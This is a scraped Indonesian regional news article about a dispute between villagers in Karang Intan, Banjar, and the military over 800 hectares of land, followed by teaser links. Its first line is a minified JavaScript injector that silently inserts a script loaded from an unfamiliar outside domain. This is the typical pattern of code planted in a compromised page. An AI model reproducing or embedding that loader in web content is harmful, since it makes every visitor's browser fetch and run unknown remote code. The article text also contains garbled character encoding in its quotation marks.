(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Permasalahan persengketaan masyarakat Desa Padang Panjang dan Karang Intan, Kecamatan Karang Intan, Kabupaten Banjar untuk memperoleh hak atas kepemilikan tanah seluas 800 hektare yang juga diklaim pihak TNI, kembali digulirkan, Senin (22/1).
Berbekal bukti yang diklaim otentik, warga kedua desa menunjukkan bahwa tanah tersebut adalah milik mereka.
“Semua orang juga tahu sudah berpuluh-puluh tahun mereka bermukim atau tinggal di sana,â€Âungkap Ketua Tim Penyelesaian Sertifikat Tanah Masyarakat Kabupaten Banjar dan Banjarbaru, H HC Mawardi Abbas.
Sebelumnya, Mawardi mengatakan bahwa Kepala BPN Banjar, Gunung Jayalaksana SE, akan mengagendakan survey lapangan pada Senin (22/1) di Kecamatan Karang Intan. Termasuk pihak terkait yang berhubungan dengan masalah ini.
Mawardi berharap, pertemuan tersebut menjadi yang terakhir dilakukan. Mengingat, warga sudah mantap dengan bukti-buki legalitas yang ada. Sedangkan untuk pihak TNI tidak pernah menunjukan legalitasnya, hanya berbekal peta kepemilikan berupa area latihan.
“Terkait hal ini kami sangat optimis untuk bisa mempertahankan kepemilikan tanah masyarakat tersebut,†ujar Mawardi.
Sementara itu, Kepala Badan Pertanahan Nasional (BPN) Kabupaten Banjar Gunung Jayaksana SE MM mengatakan masalah ini bergulir sejak tahun 2014. Sebagai pejabat baru, dia ingin mengetahui data-data riwayat kepemilikan kepenguasaan dan riwayat kepemilikan.
“Termasuk bukti-bukti kepemilikan berdasarkaan saksi-saksi, bukti fisik dan perkara pertanahan juga tak luput menjadi perhatian BPN,†ungakapnya.
Gunung Jayalaksana juga mengharapkan ada deadline yang tidak terlalu lama kepada pihak TNI untuk memberikan bukti-bukti ontentik. “Paling tidak satu bulan, akan kami tunggu,†tukasnya.
Di sisi lain, terkait belum terkantonginya bukti otentik oleh pihak TNI atas penguasaan lahan tersebut, Mayor Infanteri Taswin Arief mengatakan, hal tersebut merupakan sebuah proses yang tidak mudah. “Namun dari pihak TNI sudah memiliki sejarah later belakang atas kepemilikan tanah tersebut. Kita juga akan memenuhi penyerahan bukti-bukti ontentik tersebut selambat-lambatnya satu bulan terhitung sedari sekarang,†tegasnya.(rendy)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.